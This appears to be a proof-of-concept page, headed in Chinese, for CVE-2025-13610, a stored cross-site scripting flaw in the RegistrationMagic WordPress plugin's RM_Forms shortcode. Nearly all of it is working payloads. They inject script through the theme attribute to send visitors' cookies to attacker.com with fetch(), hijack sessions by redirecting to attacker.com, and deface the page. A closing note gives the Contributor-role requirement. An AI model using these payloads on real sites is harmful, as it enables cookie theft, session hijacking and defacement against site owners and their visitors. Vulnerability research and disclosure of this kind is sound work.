CVE-2025-13610: RegistrationMagic WordPress插件RM_Forms短代码存储型XSS漏洞

// CVE-2025-13610 PoC - RegistrationMagic Stored XSS via RM_Forms Shortcode // Author: Security Researcher // Date: 2025-12-15 // Method 1: Basic XSS via theme attribute in RM_Forms shortcode [RM_Forms theme='"><script>alert(document.cookie)</script>'] // Method 2: Cookie stealing payload [RM_Forms theme='"><img src=x onerror='fetch("https://attacker.com/steal?c="+document.cookie)'>'] // Method 3: Session hijacking payload [RM_Forms theme='"><script>document.location='https://attacker.com/hijack?session='+document.cookie</script>'] // Method 4: Defacement payload [RM_Forms theme='"><script>document.body.innerHTML='<h1>Hacked</h1>'</script>'] // Note: Attacker needs Contributor role or higher to inject this shortcode // The XSS payload will execute when any user views the page containing the shortcode